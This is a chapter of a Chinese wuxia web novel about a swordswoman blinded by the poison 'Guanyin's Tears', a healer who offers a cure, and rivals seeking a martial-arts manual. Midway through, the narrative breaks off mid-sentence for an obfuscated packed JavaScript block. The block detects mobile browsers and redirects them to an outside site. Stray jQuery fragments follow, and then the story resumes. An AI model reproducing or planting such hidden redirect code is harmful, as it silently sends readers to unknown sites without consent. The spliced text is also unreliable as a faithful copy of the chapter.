60. 观音泪
作品:《青山十里探玲珑》 萧屿麒愣住,像是被风狠狠冻了一下,他搓了搓胳膊,眼里的欣喜同火苗一样一闪一闪:“观兄,我们都多久没见了?”
他掰着指头,眨巴眼睛:“七八年了罢。”
“你一点都没变,我隔着很远就一样认出了你。”他笑得轻快,亦如当年两人在京城时。
孟璃观眼波流转低低沉思,继而轻拍了一下萧屿麒的肩膀,道:“你也没变——不过,殿下你怎么在这儿?”
萧屿麒道:“你别叫我殿下了多生疏啊,还是如从前一般叫我涉景,我就叫你垂礼。”
他盯着旖旎的夜色,慢慢地打了个格外松泛的哈欠,道:“我来伽兰岛是为了找烧金乌,给皇祖母治眼疾的。她年岁大了,总是在我面前念叨视物不清。”
“烧金乌?”孟璃观低声重复了一遍,风吹起他鬓间的发丝,轻轻绕进衣领。他的确听过这种药材,只是尚不知晓烧金乌竟会在伽兰岛上。
想之他道:“你从哪儿得来的消息?伽兰岛可知精于制毒的。”
那可是我买来的!怕孟璃观笑话自己,萧屿麒将这句话咽了回去,摆摆手道:“罢了罢了......”
“哦对了,垂礼你怎么会在这儿,方才那个女子是......”他好奇问道。
见他问及霍铃七的身份,孟璃观迟钝了一下,望向虚掩的房门:“一个朋友。”
“我还当这些年你离开金陵是结婚生子了呢!”萧屿麒笑笑,而后皱起鼻子低声道,“我方才那位姑娘板着个脸,浑身戾气重的很,想也不会是你的心上人。”
孟璃观只笑笑没说话,良久揉了揉眉心,一脸疲累,认真道:“不过你骤然离京游历,江湖险恶,切记不要暴露自己的身份。万一此处尚有前虞欲孽,只怕会招惹祸端。”
萧屿麒自然懂得这个道理,他拨弄了一下腰间的佩环,“我自然明白,只是我还带了阿七随身,还需向他解释。”
“所以殿下,我不希望我的那位朋友知道你与我之间的关系。”,孟璃观复道。
萧屿麒抿唇:“那位江湖女子,看起来野蛮粗鄙,怎会有那样细心。”
“垂礼,你当年离京到底是为了什么?我一直很好奇,姑姑也说——”他声音大了些,字字句句清晰可闻,“当年我们一起读书习武时,你曾说过要立足于天下,一手指天,一手画地,那你又为何要离开金陵?”
许多事自然是他这个天生高位,养尊处优的皇子所不懂的。
孟璃观并不否认,只顺着他的话说:“要立足于天下,自然需要先走入天下。”
“指天画地,也需先看尽天地。”
他眉目温润,唯有两撇锋利剑眉,蹙起时庄重又锐利。
“金陵太小了,天下又太大了,要找到自己的步履就像在茫茫人海中去找一个特定的人。”
*
水中倒影随着船身惊澜一晃而散,霍铃七支着胳膊靠在船边,静听水面上的鸟雀声。
本想趁着夜色去持明那里窃书,没成想莲真教的人竟不和她同坐一只船。不过,她双目失明,哪怕是得了乾冥绝笔,也读不出上面的绝学。
而且她还有话想要问瞿长命,现在不宜出手。
耳畔传来船板的吱呀声,霍铃七蹙眉,正想听出来者的步履特征。一道人的气息已然覆过来,带着淡淡的药草香。
“姑娘,你的剑穗掉了。”张鹤道。
“哦”霍铃七应声去捡,当手触及到冰凉潮湿的船板时,她忽然意识到自己的咲命哪里有剑穗。
一股没来由的火气冲上发顶,没等她发作,一只手忽然握住了她的手腕,几下将指腹按在了脉搏上。
霍铃七欲将手抽回,那手却如铁爪一般紧扣不放。
“你想死吗?”她咬牙。
“西域之毒观音泪。”张鹤凛声道,“一旦中毒可使人武功尽失,眼不视物,足不能行,甚至毙命。”
闻言霍铃七愣了一下,便听得他继续说:“你还算幸运,只不过是瞎了眼睛。”
“你什么意思?”霍铃七蹙眉。
张鹤放开她的手,看那只素白瘦削的手因为怔愣而停在半空。他将手背至身后,朗声道:“我可以给你解毒。”
闻言霍铃七无可否认地有一丝欣喜闪过,她扯了扯嘴角,冷淡道:“你凭什么为我解毒,连药王谷的传人都束手无策。”
“因为我是张鹤。”
他总算亮明了自己的身份。
霍铃七嗤笑,指腹顶开半寸雪亮的剑鞘,“当初你矢口否认自己是张鹤,现在又在我面前冠冕堂皇地承认身份,你当我是好糊弄的,还是你有几条命舍得?”
“这重要吗霍姑娘?”张鹤盯着她,少女年轻的脸上神情复杂,自己一眼便看穿,“我是张鹤,王鹤又或是李鹤,只要我愿意帮你解毒,能让你活下去,这才是重要的。”
霍铃七的呼吸急促起来,她手扶着船沿,眼睛被肺腑间的浊气熏得通红。张鹤说的对,她现在已经没有时间去揣度他到底是谁,只要有人能施以援手,自己就该感恩戴德以抱住救命稻草。
*
门被敲了三下,两长一短。
瞿长命推开门,看见来人的脸那一刻还是忍不住倒吸了一口凉气。
薛小堂龇了龇牙,吐掉口中咬的一根草叶,迈步走了进来:“愣什么,外面冷死了。”
明明是暑日,许是水上行船的原因,船舱之外竟是一种透入骨缝的寒凉。
“外头潮的很,你赶紧进来吧。”他无奈道。
薛小堂大喇喇走进来,抬起手给自己斟了一杯热气腾腾的菊花茶,她看着瞿长命局促地站在角落,毫不在意地一瞥:“兰祈死了,你确定了?”
“是。”瞿长命明白她的意思,闷着头嗯了一声。
“你只顾着查好大哥的死了,东西都落在那帮和尚手中了——”薛小堂吹着茶杯上的热雾,眉眼低垂时睫毛上翘,像一只幼鹿。
瞿长命盯着她:“那又怎么样,反正我还能再拿回来。”
他忍不住道:“风雨堂的事,与你无关。”
“你说得对风雨堂的事情是与我无关,”薛小堂一抬眉梢,手里的小茶杯在指腹间转了一圈,“不过,风雨堂也不是你的一言堂。”
瞿长命无奈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899489|185992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,将五指没入发间拢了拢:“行了,我知道了。”
他的意思是他会拿到乾冥绝笔,用不着薛小堂再说这些酸话。
“瞿大叔,你都年纪一大把了,那些江湖情义,儿女情长,哪有那些实打实的东西重要啊。”
薛小堂从凳子上跳下来,笑眯眯地把玩着手里的一副双刀。
“哎——”瞿长命喊住她,像是思虑了良久道,“那个在我劫镖时与我交手的女子......”
薛小堂回头,“你说的是霍铃七?”
瞿长命点头,缓缓站起身揉了揉眉心:“她的武功身法我很熟悉,我怀疑她的身份不简单。”
薛小堂蹙眉,好奇道:“她天分极高,她的武功你竟然能看破吗?”
“哦我忘了。”她摸摸下巴,俯身歪着脑袋去看瞿长命的眼色,笑容不达眼底,“你也是高手来着。”
似乎已经习惯了她这么说话,瞿长命只当没听见,在心头默默回顾着霍铃七的一招一式,甚至呼吸步伐走位。她的确是个练武奇才,但想成为天下第一,单单只有根骨是不够的。
俗话说得好,师傅领进门,修行在个人。一切的前提,也需有个好师傅才行。
*
船靠岸时,河畔大片的野莲花已经开了,放眼望去一片无穷碧色,中间夹杂着粉嫩的菡萏争香。几只细腿丹顶鹤姿态高傲地居于水上,垂首长喙便吻向清澈水面上的倒影。
霍铃七皱了皱鼻子,轻轻吹去鼻尖上的一簇绒毛。
莲真教所在的兰若寺位于殷城外,被重重厚密的山林所包裹,细长的幽径将山林破开一道微若蛛丝的缝隙,偶有两三点人影骑马驾车而过。
当时云氏兄妹在山林间听到的那阵钟声便是来自兰若寺。
分别之时,二人极尽挽留,想请几位去镖局一聚,于殷城多游玩几天。
“当年前虞的皇帝时常微服,离开庙堂步入江湖,访查民情,来的便是殷城。”云露珠压低声音道。
霍铃七急着解毒,一口回绝了他们。她牵的依旧是来时那匹瘦马,在伽兰岛上待了几日,双颊狠狠地瘦下去,显得眼睛愈发大。
她淡色的唇抿着,在唇心晕开些鲜色。
下船后自己便不见瞿长命,也不知道他去向何方,自己唯一能找到师父的线索就这么断了。
她手攥着袖子,轻轻抚去马背上的灰尘。
暑热蒸发了山间的雾气,眼前树木丛林,幽径矮坡格外清明。
张鹤伸手拨开挡路的细藤蔓,顺手从上面折下一只紫色的小花,藏入腰间的荷包。
“观音泪虽然是西域的毒,但是中原之法也可解。”他悠悠道,“放血半碗,引出毒物,佐以药草,加之药浴,不出三月便可见好。”
霍铃七不在乎他所说的那些弯弯绕绕,她只在乎结果,便直接道:“什么时候能看见?”
“药浴半月后大概就能见到一些影子了。”张鹤道。
霍铃七若有所思地骑着马,良久忍不住开口:“原本我是双目失明一丝也看不见的,但是前几日在伽兰岛上时,我眼前忽然有了一些影子......”

